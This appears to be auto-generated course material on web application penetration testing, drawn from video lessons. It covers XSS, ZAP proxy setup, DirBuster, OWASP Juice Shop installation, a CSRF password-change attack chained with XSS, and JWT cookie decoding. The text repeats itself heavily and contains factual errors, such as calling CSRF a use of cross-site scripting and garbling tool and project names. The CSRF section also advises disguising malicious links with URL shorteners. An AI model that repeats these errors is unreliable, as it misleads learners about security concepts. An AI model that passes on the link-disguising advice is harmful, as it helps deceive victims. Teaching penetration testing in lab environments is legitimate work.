Reflected XSS occurs when user input is immediately returned to the user without any form of sanitization or validation. This input is often found in URL parameters. Attackers can manipulate these parameters by injecting malicious scripts that are executed when the page is loaded by unsuspecting users.

Stored XSS, on the other hand, involves the permanent storage of user input on the server-side. This input is then displayed to other users, potentially exposing them to the injected malicious scripts. Stored XSS is more dangerous than reflected XSS as it can affect multiple users and persists even after the initial injection.

DOM-based XSS exploits vulnerabilities in the Document Object Model (DOM) of a web page. The DOM is a programming interface that represents the structure of an HTML document. Attackers can manipulate the DOM by injecting malicious scripts that are executed by the user's browser, leading to potential data theft or further attacks.

To demonstrate these XSS attacks, we will be using the OS Broken Web Applications Project (BWAP) in this tutorial. BWAP is a virtual machine that can be run on VirtualBox or VMware, and it provides a safe environment for testing and learning about web application vulnerabilities.

To get started, ensure that you have BWAP installed and running on your local machine. The default credentials for the web applications within BWAP are provided in the description section of the material. Once you have logged in, you can access the different web applications, such as WebGoat, which we will be using to demonstrate the XSS attacks.

Before we proceed with the attacks, it is essential to understand the underlying concepts of XSS. XSS involves injecting a script into a URL parameter to exploit the vulnerability. The injected script can be a malicious JavaScript that executes when the page is loaded.

Now, let's delve into the three types of XSS attacks. Reflected XSS occurs when the injected script is reflected back to the user without any storage. The user input is stored in the URL parameter, and by manipulating this parameter, an attacker can execute their malicious script.

Stored XSS involves storing user input on the server-side and displaying it to other users. This allows an attacker to inject a script that will be executed when other users view the compromised content.

DOM-based XSS exploits vulnerabilities in the Document Object Model. By injecting a script that manipulates the DOM, an attacker can execute their malicious code within the user's browser, potentially leading to further attacks.

Understanding these concepts is crucial for successful web application penetration testing. By comprehending the fundamentals of XSS, you can effectively identify and mitigate these vulnerabilities, ensuring the security of web applications.

Web Applications Penetration Testing - Cross-site scripting (XSS) - Reflected, Stored, and DOM

Cross-site scripting (XSS) is a common vulnerability in web applications that allows attackers to inject malicious scripts into web pages viewed by other users. There are three main types of XSS attacks: reflected, stored, and DOM-based.

Reflected XSS occurs when user input is not properly validated or sanitized and is directly embedded into the HTML response. This allows an attacker to craft a malicious URL that, when clicked, executes the injected script in the victim's browser. The script can be used to steal sensitive information, such as login credentials, or

perform other malicious actions.

To understand how reflected XSS works, let's consider an example. In a web application, there is a form that takes user input for the first name and last name. The input is then reflected in the URL. By injecting a script into the input fields, an attacker can manipulate the behavior of the web page. However, it's important to note that many websites implement filters to prevent the execution of JavaScript code in user input fields.

Stored XSS, also known as persistent XSS, occurs when user input is stored on the server and then displayed to other users. This vulnerability can be found in areas where user-generated content is displayed, such as comments, forums, or blog posts. Attackers can inject malicious scripts into these areas, which are then executed when other users view the content. This allows the attacker to perform actions on behalf of the victim or steal their information.

To illustrate stored XSS, let's consider a blog post with a comment section. If the comment section does not properly validate or sanitize user input, an attacker can inject a malicious script into the comment. When other users view the blog post and read the comment, the script will be executed in their browsers, potentially compromising their security.

DOM-based XSS, also known as client-side XSS, occurs when user input is directly used by JavaScript to modify the Document Object Model (DOM) of a web page. This vulnerability is different from reflected and stored XSS because the malicious script is not sent to the server or stored on it. Instead, it directly manipulates the client-side code, which can lead to the execution of malicious actions.

Cross-site scripting (XSS) vulnerabilities pose a significant threat to web applications. Attackers can exploit these vulnerabilities to inject and execute malicious scripts, leading to the theft of sensitive information or the compromise of user accounts. It is crucial for web developers and security professionals to understand and mitigate XSS vulnerabilities to ensure the security of web applications.

Web Applications Penetration Testing - Cross-site scripting (XSS) - Reflected, Stored, and DOM

Cross-site scripting (XSS) is a common vulnerability found in web applications that allows attackers to inject malicious scripts into web pages viewed by other users. There are three main types of XSS attacks: reflected XSS, stored XSS, and DOM-based XSS.

Reflected XSS occurs when user input is not properly validated or sanitized by the server before being displayed back to the user. This allows an attacker to inject a malicious script that will be executed by the victim's browser. The script can steal sensitive information, such as login credentials, or perform actions on behalf of the user.

Stored XSS, also known as persistent XSS, happens when user input is stored on the server and later displayed to other users. This allows an attacker to inject a malicious script that will be executed whenever the affected page is viewed by another user. The consequences of stored XSS can be severe, as the script will be executed by all users who access the compromised page.

DOM-based XSS is a variation of XSS that exploits vulnerabilities in the Document Object Model (DOM) of a web page. The DOM is a programming interface that represents the structure of an HTML document and allows scripts to interact with it. In DOM-based XSS attacks, the malicious script manipulates the DOM to achieve its goals. This type of XSS attack is particularly challenging to detect and mitigate because it relies on client-side processing, rather than server-side.

Mitigating XSS vulnerabilities requires proper input validation and output encoding. Input validation ensures that user input is within expected parameters, while output encoding ensures that any user input displayed on a web page is properly encoded to prevent script execution. Additionally, web application firewalls (WAFs) can help detect and block XSS attacks by analyzing incoming requests for malicious patterns.

Cross-site scripting (XSS) is a critical security vulnerability that allows attackers to inject and execute malicious scripts in web applications. It is important for developers to implement proper input validation and output encoding to prevent XSS attacks. Regular security testing, including web application penetration testing, is essential to identify and address potential vulnerabilities.

Cross-site scripting (XSS) is a common vulnerability in web applications that allows attackers to inject malicious scripts into trusted websites. There are three main types of XSS attacks: reflected, stored, and DOM-based.

Reflected XSS occurs when user input is not properly validated or sanitized and is directly echoed back to the user. Attackers can exploit this vulnerability by injecting malicious code into the URL or input fields of a website. When the user visits the compromised page, the injected code is executed by the victim's browser, leading to potential data theft or unauthorized actions.

Stored XSS, also known as persistent XSS, involves injecting malicious code into a website's database. This code is then displayed to other users when they access the compromised page. Stored XSS attacks are particularly dangerous as they can affect multiple users and persist over an extended period of time.

DOM-based XSS is a variation of XSS that relies on manipulating the Document Object Model (DOM) of a web page. Instead of targeting the server-side code, DOM-based XSS attacks exploit vulnerabilities in the client-side JavaScript code. By injecting malicious code that manipulates the DOM, attackers can modify the behavior of the web page and potentially steal sensitive information.

To illustrate how XSS works, let's consider an example. Suppose a web application fails to properly validate user input and echoes it back to the user without sanitization. An attacker could exploit this vulnerability by injecting a script that triggers an alert box with a message, such as "Hello world." When the victim visits the compromised page, the script is executed by their browser, resulting in the display of the alert box.

It's important to note that XSS attacks can be mitigated through proper input validation and output encoding. Web developers should implement strict input validation routines and sanitize user input before displaying it to other users. Additionally, output encoding techniques, such as HTML entity encoding, can prevent the execution of injected scripts.

Cross-site scripting (XSS) is a significant security vulnerability that web developers must be aware of and address in their applications. By understanding the different types of XSS attacks and implementing proper security measures, developers can protect their users from potential data breaches and unauthorized actions.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: PROXY ATTACKS
TOPIC: ZAP - CONFIGURING THE PROXY

A proxy is an intermediary that represents someone else. In the context of computer networking, a proxy acts as an intermediary for requests and responses from clients seeking resources from another server. For example, when you open your browser and type in a URL like google.com, your request is sent to the Google server through DNS. The server then sends a response containing the web page, which is displayed in your browser.

ZAP (Z Attack Proxy) is a tool that acts as an intermediary between your browser and the server. It intercepts special traffic coming through port 80, which is the port for HTTP traffic. This traffic is then filtered through port 8080, which is the port set for the proxy. Port 8080 is commonly used for setting up proxies, but you can use a different port if it's available. It's important to note that the proxy settings on your browser and in ZAP must match for a connection to be established.

By acting as an intermediary, ZAP allows you to monitor the traffic between your browser and the web server. With advanced tools like ZAP, you can manipulate the data and obtain different responses. This is useful for analyzing and understanding the traffic being sent to and from the browser.

To configure the proxy on your browser, the process is straightforward. In Firefox, for example, you can open the browser options, go to the preferences menu, and navigate to the advanced network settings. There, you can configure the manual proxy settings by entering the HTTP proxy, which should be set to the same settings as in ZAP. The recommended configuration is to use "localhost" or the IP address "127.0.0.1" as the proxy, along with port 8080. However, you can choose a different port as long as it matches the settings in ZAP.

A proxy acts as an intermediary for requests and responses between clients and servers. ZAP is a tool that functions as a proxy, allowing you to monitor and manipulate traffic between your browser and the web server. Configuring the proxy on your browser involves setting the HTTP proxy to match the settings in ZAP.

To configure the proxy settings for web application penetration testing, we can use the ZAP (Zed Attack Proxy) tool. In this didactic material, we will learn how to configure the proxy settings manually and automatically using browser extensions.

Manually configuring the proxy can be a tiresome process, as we need to enable or disable the proxy in the browser settings each time we want to use ZAP. To configure the proxy manually, follow these steps:

1. Open the browser settings and navigate to the proxy settings.
2. Set the proxy server address to "localhost" or "127.0.0.1" and the port to "8080".
3. Enable the proxy to route the traffic through ZAP.
4. Disable the proxy when you want to connect to the internet without passing the traffic through ZAP.

However, there is an easier way to automate this process using browser extensions. In this material, we will focus on Google Chrome and Firefox.

To automate the proxy configuration, we can use the Foxy Proxy extension. Here's how to install and configure Foxy Proxy:

1. Open the Chrome Web Store or Firefox Add-ons and search for "Foxy Proxy".
2. Install the "Foxy Proxy Basic" extension.
3. After installation, the Foxy Proxy icon will appear in the browser toolbar.
4. Open a new tab and click on the Foxy Proxy icon.
5. In the Foxy Proxy settings, select "Manual Proxy Configuration".
6. Enter the server IP address as "localhost" or "127.0.0.1" and the port as "8080".
7. Enable the proxy and give it a name, such as "zap".
8. Close the settings.

Now, whenever you want to use ZAP, select the "zap" proxy from the Foxy Proxy dropdown menu. This will route all URLs through the specified proxy.

To configure ZAP to use the proxy, follow these steps:

1. Open ZAP and go to the top menu.
2. Click on "Tools" and select "Options".
3. In the options menu, scroll down to the "Local Proxy" section.

From here, you can configure ZAP to use the same proxy settings as specified in Foxy Proxy. By default, ZAP uses the same proxy settings as the browser.

With these configurations, you can easily switch between using the proxy for web application testing and connecting to the internet without passing traffic through ZAP.

To configure the proxy for web application penetration testing using ZAP, follow these steps:

1. Open ZAP and go to the "Proxy" tab.
2. In the "Local Proxy" section, you will find your proxy details. By default, the local proxy is set to the local host or the IP address 127.0.0.1. It is recommended to leave it as the default, but you can specify a different IP address if necessary.
3. The default port for the proxy is 8080. If you have changed the port or configured it differently in your browser, make sure to set the same port in the ZAP proxy settings.
4. Click "OK" to save the proxy settings. Now, any traffic or web pages you view in your browser will be intercepted by the ZAP proxy.

To test if the proxy is working correctly, follow these steps:

1. Open your browser (e.g., Firefox) and visit a website, such as "kali.org".
2. You will see a prompt indicating that your connection is not secure. Click "Advanced".
3. If you encounter an error stating that the certificate is invalid, you can add an exception for the website. Click "Add Exception" and confirm the security exception. The page will then load.

ZAP acts as an intermediary between your browser and the websites you visit. To analyze the intercepted traffic, follow these steps:

1. Open ZAP and observe that all the traffic is being intercepted.
2. You can analyze any of the websites you have visited by navigating through the folders displayed in ZAP. For example, you may find a folder called "wordpress content," indicating that the website is running on WordPress.

When you are done with the proxy, you can disable it by following these steps:

1. Click on the "Foxy Proxy" extension in your browser.
2. Select "Completely Disable Foxy Proxy" to turn off the proxy.
3. Now, you can open any websites and browse normally without the traffic being intercepted.

That's how you configure and use the ZAP proxy for web application penetration testing in your browser, whether it be Google Chrome or Firefox. Make sure to correctly configure the proxy settings, including the port and host if necessary.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: FILES AND DIRECTORIES ATTACKS
TOPIC: FILE AND DIRECTORY DISCOVERY WITH DIRBUSTER

The DirBuster tool, developed by the Open Web Application Security Project (OWASP), is an effective tool for discovering directories and files on a website or web application. It utilizes brute forcing to find commonly used directories and file names on servers. This tool is particularly useful for those engaged in Capture The Flag (CTF) competitions or bug bounty hunting, as it helps in understanding the structure of a web application or website in terms of files and directories.

Knowing the structure of a web application is crucial for planning and executing attacks. By scanning a web application with DirBuster, hidden directories and files can be identified, which can serve as potential attack vectors. It can also uncover hidden resources that may have been intentionally hidden by developers, such as admin pages.

Using DirBuster is straightforward. After launching the tool, the user selects the URL of the web application or website and specifies the port (typically HTTP on port 80 or 443). The user then selects a word list to be used for the brute force attack. Kali Linux already includes three word lists designed for different scenarios. Once the brute force attack starts, DirBuster sends HTTP GET requests to the server and waits for responses. A 200 response indicates the existence of the directory, while a 400 or 403 response indicates non-existence or restricted access. By testing directories against the word list, DirBuster effectively enumerates the directories on the server.

To illustrate the usage of DirBuster, let's consider an example. Suppose we have the Open Web Application Project (OWASP) broken web application running on Kali Linux. We can use Firefox to access the OWASP web application, which contains various vulnerable web applications. To demonstrate the discovery of directories, let's focus on a WordPress site. By opening the broken WordPress application, we can explore the entire web server to find directories and files.

DirBuster is a valuable tool for web application penetration testers, as it helps in understanding the structure of web applications and identifying potential attack vectors. It is especially useful for those involved in CTF competitions or bug bounty hunting.

To enumerate directories and folders in a WordPress installation or when targeting a WordPress site, we can use a tool called DirBuster. To begin, we need to copy the URL of the website, ensuring that we include the directory where WordPress is installed. The root directory of the web server is typically where WordPress is located. Additionally, we need to select the appropriate port, which is usually the default HTTP port, port 80.

DirBuster is a tool that is widely used by web application penetration testers and those who participate in CTF challenges. It was designed by the OS team and works very effectively. To start using DirBuster, simply open the tool, which can be found in the start menu or by typing "buster" in the search bar. After a few seconds, the tool will be ready to use.

Within DirBuster, we need to enter the target URL, which is the URL we copied earlier. We can paste it into the designated field. It is worth mentioning that we have the option to choose between different scan methods. If we want the scan to be faster, we can use the GET requests method. However, for a more robust and accurate response rate, it is recommended to use the auto switch between the HEAD and GET methods.

The number of threads determines the speed of the scan or brute force attack. Generally, the faster the scan, the better, but it is important to consider the capabilities of your hardware and avoid overloading the server. It is suggested to use around 200 threads, which is the "go faster" option. However, if you are testing your own web server and have sufficient resources, you can increase the number of threads as desired.

It is crucial to be mindful of the server's performance when running DirBuster at maximum speed. If the server is not running on adequate resources, such as limited RAM, it may lag or even experience a denial of service due to the volume of requests being sent. It is essential to approach the scanning process ethically and avoid causing any harm or disruption.

When selecting the brute force method in DirBuster, it is recommended to choose the list-based brute force option rather than pure brute force. To proceed, we need to select a word list for DirBuster. On Kali Linux and Parrot OS, the word lists can be found in the "user share" folder under "wordlist". Specifically, the DirBuster word list is located in the "buster" folder. It is advisable to use the "directory-list-2.3-medium.txt" file from the medium-sized word list folder. This word list is suitable for most cases, especially when scanning complex web applications like WordPress or Joomla installations. However, if your requests are being blocked by a web application firewall or the host, you may need to consider alternative options.

In addition to selecting the word list, there are other options available in DirBuster. These options allow for brute forcing directories and files, recursive scanning, and specifying a directory if the scan is directory-sensitive. It is recommended to leave the standard start point as it is. After configuring all the necessary options, we can initiate the scan by clicking on the "start" button.

DirBuster is a powerful tool used in web application penetration testing to discover files and directories. It works by brute-forcing the web server and analyzing the responses received. When DirBuster sends a request and receives a positive response, it understands that the directory or file exists. On the other hand, if it receives a negative or no access response, it concludes that the directory does not exist.

During the scanning process, DirBuster provides information such as the current speed, average speed, total number of requests completed, and estimated time to finish. These values may vary depending on factors like the selected scan speed and word list.

The scan information displayed by DirBuster includes the folders and files being tested. The results section shows the discovered directories and files, providing insight into the directory structure of the web application. By default, DirBuster may find files like "wordpress/register.php." Users can open these files in the browser, view the response, and even copy the URL.

DirBuster is particularly useful in discovering hidden files and folders that may not be easily known or accessible. In scenarios where brute-forcing the admin.php page requires credentials, exploring other attack vectors becomes necessary. DirBuster helps identify potential areas for further investigation.

It's important to note that DirBuster can cause performance issues or even denial of service if not used responsibly. Allocating minimal resources to the target web application may lead to lag or unresponsiveness. The number of threads used by DirBuster can also impact performance. Balancing resources and considering the impact on customers when testing real-world web applications is crucial.

DirBuster is a valuable tool for web application penetration testing, bug bounties, and CTF challenges. It aids in the discovery of directories and files, providing insights into the web application's structure and potential vulnerabilities.

DirBuster is a powerful tool used in web applications penetration testing for file and directory discovery. It helps in identifying hidden files and directories that may contain sensitive information or vulnerabilities. By using DirBuster, you can efficiently search for files such as flags, which are often encoded to protect their content.

During a recent penetration testing exercise on Hack the Box, I encountered a machine where I successfully found a flag. However, the flag was encoded, requiring me to decode it before obtaining the user flag. This demonstrates the importance of being able to identify and decode encoded files.

DirBuster proved to be a valuable resource in this exercise, allowing me to discover numerous files and directories. It is worth mentioning that more videos on this topic will be released soon, as I am dedicated to increasing the amount of educational material available.

Apologies for the interruption caused by the notification during the video. It is a recurring issue that I am working to resolve. Moving forward, I aim to minimize distractions and provide a seamless learning experience.

If you found value in this material, I encourage you to leave a like. Additionally, if you have any suggestions or questions, please feel free to leave a comment or reach out to me through my social networks or website. I am committed to providing prompt responses and addressing any inquiries.

Thank you for watching, and I look forward to sharing more educational content with you in the future.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: INSTALLING OWASP JUICE SHOP

To install OWASP Juice Shop, follow the steps below:

1. Install Node.js: Node.js is required to run OWASP Juice Shop. You can install Node.js from the package manager of your operating system. If you are using Linux, you can find installation instructions for different Linux distributions and macOS on the official Node.js website. For example, if you are using Debian-based Linux distributions like Kali Linux, you can use curl to get the setup file and then run the setup. After that, you can use the aptitude package manager to install Node.js.

2. Download OWASP Juice Shop: Once you have Node.js installed, you can download OWASP Juice Shop from the official GitHub repository. On the repository page, you will find various installation methods, including Node.js, Docker, and Vagrant. For beginners, it is recommended to use the Node.js installation method. To do this, click on the "easy to install" hyperlink on the OWASP Juice Shop homepage, which will take you to the GitHub repository. From there, you can download the latest release of OWASP Juice Shop.

3. Install OWASP Juice Shop: After downloading OWASP Juice Shop, unzip the downloaded file and navigate to the unzipped folder. In this folder, you will find the necessary files to start the installation. Follow the instructions provided in the repository to complete the installation process.

4. Run OWASP Juice Shop: Once the installation is complete, you can start OWASP Juice Shop by running the appropriate commands. These commands will depend on the installation method you chose. Refer to the installation instructions provided in the repository for detailed information on how to run OWASP Juice Shop.

OWASP Juice Shop is a vulnerable web application designed for practicing web application penetration testing. It provides a safe environment to learn and test various web attacks. By installing OWASP Juice Shop, you can gain hands-on experience in identifying and exploiting web vulnerabilities.

Remember to always practice responsible and ethical hacking. Only test on systems that you have permission to access and never attempt to exploit vulnerabilities on live production systems without proper authorization.

To install OWASP Juice Shop, follow these steps:

1. Download the latest release of OWASP Juice Shop from the official website. The releases are sorted by platforms, such as Linux and Windows. It is recommended to choose the latest version running on Node.js 8, as it is more stable.

2. Once the download is complete, unzip the file. You will have a directory containing all the necessary files.

3. Open your command prompt or terminal and navigate to the directory where you unzipped OWASP Juice Shop. For example, if the directory is on your desktop, use the command `cd Desktop/juice-shop`.

4. List the files in the directory to confirm that you are in the correct location.

5. Start the Node Package Manager (npm) by running the command `npm start`. This command will host the Juice Shop from the current directory.

6. After running the command, you should see a message indicating that the server is listening on port 3000.

7. Open your web browser and enter `localhost:3000` in the address bar. This will take you to the locally hosted OWASP Juice Shop.

8. You should now see the welcome page of OWASP Juice Shop. If you have previously interacted with the application, your progress will be restored, saving you from repeating any exploits.

9. Enjoy exploring and hacking the various features of OWASP Juice Shop. It is a challenging and fun web

application that encompasses a wide range of vulnerabilities.

Please note that this installation guide focuses on installing OWASP Juice Shop. The future videos will cover exploiting the entire web application and solving the associated challenges.

If you have any questions or suggestions, feel free to leave a comment on the official website or reach out through social networks. Stay tuned for the next video!

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: CSRF - CROSS SITE REQUEST FORGERY

Cross-Site Request Forgery (CSRF) is an important topic in the field of web application penetration testing. In this didactic material, we will explore the concept of CSRF and how it can be used to perform unauthorized actions on a web application.

CSRF is an attack that forces an authenticated user to execute unwanted actions on a web application. To understand CSRF, it is helpful to break down the term into its two components: "cross-site" and "request forgery." Cross-site scripting is used to forge or manipulate requests in order to achieve desired or undesired results.

When a client requests a page from a server, the server responds by providing an HTML form. The client then fills out the form with data and sends it back to the server. The server authenticates and authorizes the user, and then performs the requested action. This process allows for the forging of requests and obtaining desired responses.

In the case of CSRF, an attacker manipulates a victim into submitting the attacker's form data to the victim's web server. This enables the attacker to perform actions on behalf of the victim. For example, an attacker could change the password of any user who is logged into the web application.

As a bug bounty hunter or someone practicing web application security, it is important to know how to identify CSRF vulnerabilities. By understanding the process of how HTML forms work and the flow of requests and responses between the client and server, you can look for potential vulnerabilities that could be exploited through CSRF.

CSRF is a type of attack that leverages cross-site scripting to manipulate requests and perform unauthorized actions on a web application. By understanding the underlying mechanisms of HTML forms and the flow of data between the client and server, you can identify and mitigate CSRF vulnerabilities.

In web applications penetration testing, one common vulnerability that is often targeted is Cross-Site Request Forgery (CSRF). This vulnerability allows an attacker to trick a user into unknowingly performing actions on a web application without their consent or knowledge. In this didactic material, we will explore how CSRF attacks work and how to prevent them.

To begin, it is important to understand that CSRF attacks are most effective on websites that require user authentication, such as those that have login pages. The attacker's goal is to manipulate the requests sent by the user to achieve their desired outcome. This can include actions like changing passwords or performing unauthorized transactions.

In our demonstration, we will be using a web application called OS Juice Shop as our target. This application is specifically designed to showcase various web vulnerabilities, including CSRF. To perform the attacks, we will be using a tool called Burp Suite Community Edition.

Before we proceed, let's first set up our environment. Open Burp Suite and start the proxy. This will allow us to intercept and manipulate web traffic. Make sure that you are not currently intercepting any traffic.

Now, let's take a look at the login page of the target web application. We will need to create an account and log in to proceed with the CSRF attacks. For demonstration purposes, I have already created a test account with the email "test@test.com" and the password "password".

Once logged in, we can now proceed to perform the CSRF attack. The idea behind this attack is to craft a malicious request that, when executed by the victim user, will lead to unintended actions. In our case, we will focus on changing the victim's password.

To understand how the request works, let's first change our own password. In the Burp Suite Proxy, go to the HTTP history and locate the GET request that was sent when changing the password. This request will contain

the parameters that need to be manipulated.

Now, let's perform the actual CSRF attack. In Burp Suite, go to the Repeater tool. This tool allows us to manipulate requests and observe the responses. We will use this to craft our malicious request.

To keep things simple, we will start with a basic attack. We will modify the request to change the victim's password to "password123". Once the request is crafted, send it through the Repeater tool and observe the response.

By tricking the victim into clicking on a specially crafted link or visiting a malicious website, we can execute this CSRF attack. If the victim is currently authenticated on the target web application, their password will be changed to the one specified in the request.

It is important to note that not all websites are vulnerable to CSRF attacks. Many websites have implemented security measures to protect against this type of attack. As a penetration tester, it is your responsibility to identify and exploit these vulnerabilities.

CSRF attacks are a common web application vulnerability that can have serious consequences if not properly addressed. By understanding how these attacks work and using tools like Burp Suite, we can effectively test and secure web applications against CSRF vulnerabilities.

Web Applications Penetration Testing - CSRF - Cross Site Request Forgery

Cross-Site Request Forgery (CSRF) is a web attack that allows an attacker to trick a user into performing unwanted actions on a web application in which the user is authenticated. This attack takes advantage of the trust between the user and the web application.

To understand how CSRF works, let's consider a scenario where a user wants to change their password on a web application. The user submits a request to the server, which includes the current password, the new password, and the repeated password for confirmation.

In a secure web application, the server performs validation to ensure that the current password is correct and that the new password and the repeated password match. If any of these conditions are not met, the server will return an error response, indicating that the request is unauthorized or that the passwords do not match.

However, an attacker can exploit CSRF vulnerabilities to manipulate the request and perform unauthorized actions on behalf of the user. By crafting a malicious request and tricking the user into submitting it, the attacker can change the user's password without knowing the current password or bypassing any validation checks.

To demonstrate this vulnerability, we can modify the request parameters to change the current password, the new password, and the repeated password. By submitting the modified request, we can observe the server's response.

If the server returns a 401 error, it means that the request is unauthorized, indicating that the web application is performing proper validation. This is a good sign from a security perspective, as it shows that the web application is protecting against CSRF attacks.

Similarly, if the server returns an error indicating that the new password and the repeated password do not match, it means that the web application is performing validation checks and preventing unauthorized password changes.

However, if the server processes the request successfully and returns a 200 response, it indicates that the unauthorized password change was successful. This means that the web application is vulnerable to CSRF attacks, as it allows password changes without proper validation.

To confirm the success of the attack, we can log out of the web application and attempt to log in again using the new password. If the login is successful, it confirms that the CSRF attack was effective in changing the password.

In addition to CSRF attacks, web applications may also be vulnerable to cross-site scripting (XSS) attacks. XSS allows an attacker to inject malicious scripts into web pages viewed by other users, leading to unauthorized actions or data theft.

To test for XSS vulnerabilities, we can enter a simple script into the search bar of the web application. If the script executes and displays an alert message, it confirms that the web application is vulnerable to XSS attacks.

To perform a CSRF attack combined with XSS, we can insert a malicious request into a script and use XSS to trigger the attack. This allows us to exploit both vulnerabilities simultaneously, increasing the impact of the attack.

To automate the CSRF attack, we can create a custom script using XML and HTTP. This script can be used to send the malicious request to the web application, bypassing any validation checks and performing unauthorized actions.

It is important to note that CSRF attacks can have severe consequences, such as unauthorized access, data theft, or privilege escalation. Web application developers should implement proper security measures, such as anti-CSRF tokens, to protect against these attacks.

CSRF is a web attack that exploits the trust between users and web applications to perform unauthorized actions. By manipulating requests and bypassing validation checks, attackers can change passwords or perform other actions on behalf of the user. Combining CSRF with XSS can further increase the impact of the attack. Web application developers should implement security measures to prevent CSRF vulnerabilities and protect user data.

Web applications are vulnerable to various attacks, including Cross-Site Request Forgery (CSRF). CSRF occurs when an attacker tricks a user into executing unwanted actions on a web application in which the user is authenticated. In this didactic material, we will explore how CSRF attacks work and how to perform them.

To demonstrate a CSRF attack, we will use a web application that runs on a local server with port 3000. The application allows users to change their passwords. We will exploit this functionality to change a user's password without their knowledge.

First, we need to understand the structure of the GET request used to change the password. The request requires a URL and the parameters, excluding the current password. By inspecting the web application, we can find the URL for the GET request.

Next, we need to format the URL correctly in our script. We will use HTTPS and the localhost address with port 3000. We will also specify the new password and repeat it in the script. You can modify these values for experimentation.

Once the script is prepared, we can run it in the search bar of the web application. This will trigger the CSRF attack and attempt to change the password of the authenticated user. If successful, the user's password will be changed without their knowledge.

It is important to note that this attack will only work if the target user is logged into the web application. If the user is not logged in, the attack will fail.

To verify the success of the attack, we can log out and attempt to log in again using the new password. By inspecting the network requests, we can observe the GET request made during the login process. This request will display the parameters, including the password, which should now reflect the changes made by the CSRF attack.

It is worth mentioning that the script used in this demonstration can be customized to suit different scenarios. By modifying the password parameter, you can change the password to any desired value.

CSRF attacks exploit the trust between a user and a web application to perform unauthorized actions. By understanding the structure of the GET request and crafting a script accordingly, an attacker can change a

user's password without their knowledge. It is crucial for web developers and security professionals to be aware of CSRF vulnerabilities and implement appropriate countermeasures to protect web applications.

During this session, we have explored a technique known as Cross-Site Request Forgery (CSRF) in the context of web application penetration testing. CSRF is an attack that tricks the victim into submitting a malicious request. In this case, we focused on updating a user's password without their knowledge or consent.

We began by demonstrating how an attacker can exploit a vulnerability in a web application to execute a script that changes the victim's password. By logging out and attempting to log in with the old password, the attacker can verify the success of the attack.

To execute the attack, the attacker generates a URL that contains the necessary parameters to update the password. This URL is then sent to the target, who must be logged into the specific web application. When the target clicks on the link, their password is updated, and the attacker gains access to it.

To disguise the malicious URL, it is recommended to use a link shortener service like bitfly or Google shorteners. This helps to obfuscate the true nature of the URL and makes it less suspicious to the target.

It is important to note that this technique requires the attacker to have access to the target's email address or have a list of users' passwords. Additionally, the attack can only be successful if the target is authenticated with the web application.

CSRF is a powerful attack vector that can be used to manipulate web application functionality and compromise user security. By understanding how this attack works, security professionals can better protect web applications and their users from such threats.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WEB ATTACKS PRACTICE
TOPIC: COOKIE COLLECTION AND REVERSE ENGINEERING

Session Management and Cookie Collection in Web Applications

In this educational material, we will be discussing session management and cookie collection in web applications. Specifically, we will focus on understanding the different types of cookies and how to collect and analyze them.

Cookies are small pieces of data that websites store on a user's computer. They are used to track user activity and personalize the browsing experience. In the context of web application penetration testing, cookies play a crucial role in session management.

There are three main types of cookies that we need to be familiar with: session cookies, permanent cookies, and third-party cookies. Session cookies are used to maintain user sessions and store authentication tokens. Permanent cookies, on the other hand, are stored for a longer period of time and can be used to remember user preferences. Third-party cookies are related to third-party APIs and are often used by websites that utilize plugins or external services.

To collect and analyze cookies, we can use browser tools and cookie editor add-ons. These tools allow us to view and manipulate cookies in real-time. By inspecting the cookies, we can understand the information they contain and how they are used for session management.

When visiting a website, cookies are generated and can change when a user authenticates or logs out. The authentication token and unauthenticated token are part of the session cookies and are crucial for controlling access to web applications.

In this material, we will be using the example of OS Juice Shop, a vulnerable web application, to demonstrate the process of collecting and analyzing cookies. We will not be tampering with the cookies in this video, but rather focus on understanding their content.

To collect cookies, we can use a cookie editor add-on in Google Chrome or Firefox. By inspecting the cookies using the browser's developer tools, we can see the cookies stored for a particular website. The cookie editor provides a more user-friendly interface to view and manage cookies.

By understanding the information stored in cookies, we can gain insights into the session management and authentication mechanisms of a web application. This knowledge is essential for identifying potential vulnerabilities and improving the security of web applications.

Session management and cookie collection are important aspects of web application penetration testing. By collecting and analyzing cookies, we can gain a deeper understanding of how session management works and identify potential security vulnerabilities.

When it comes to web applications penetration testing, one important aspect to consider is cookie collection and reverse engineering. Cookies can contain a lot of information about a user's activities on a website, making them a potential target for attackers. In this didactic material, we will explore the process of reverse engineering a cookie to understand its contents and potential vulnerabilities.

Let's start by discussing the concept of cookie consent status. When visiting a website, users are often prompted to accept the website's privacy policy, which outlines how the site collects and uses personal data and cookies. Cookies can store information about a user's activities on the website, and it is important to understand their role in session management.

Authentication tokens play a crucial role in web applications, as they handle most of the authentication process. By inspecting the elements of a website, we can find the authentication token in the cookie editor. This token is encoded and serves as an authentication mechanism.

To reverse engineer a token, we need to understand its structure and vulnerabilities. In this example, the token is a JSON Web Token (JWT). By decoding the token using a JWT decoder, we can extract valuable information about its contents. The token consists of three parts: the header, the payload, and the signature.

The header of the token contains information about the token type, such as "JSON Web Token," and the hashing algorithm used, such as "rs256." The payload contains data, including the user's status, any additional data passed, and an identification value. Different identification tokens may grant different levels of access and privileges.

It is crucial to understand the separation between the header and the payload, as they are delimited by a full stop. The signature, located at the bottom of the token, is also separated from the rest. This knowledge is essential when analyzing and tampering with the token to explore different authentication results.

By editing the token, we can modify its contents and observe the impact on authentication. However, it is crucial to note that tampering with tokens should only be done in controlled environments for testing purposes.

In the example provided, we can observe an interesting vulnerability. The email address, which should be securely stored, is visible in plain text within the token. This design flaw could potentially expose sensitive information if the token falls into the wrong hands.

Understanding cookie collection and reverse engineering is crucial in web applications penetration testing. By analyzing and decoding authentication tokens, we can gain insights into their structure, contents, and potential vulnerabilities. This knowledge allows us to identify and address security issues to ensure the safety of web applications and user data.

Web applications penetration testing involves assessing the security of web applications by simulating attacks and identifying vulnerabilities. In this practice, we will focus on cookie collection and reverse engineering.

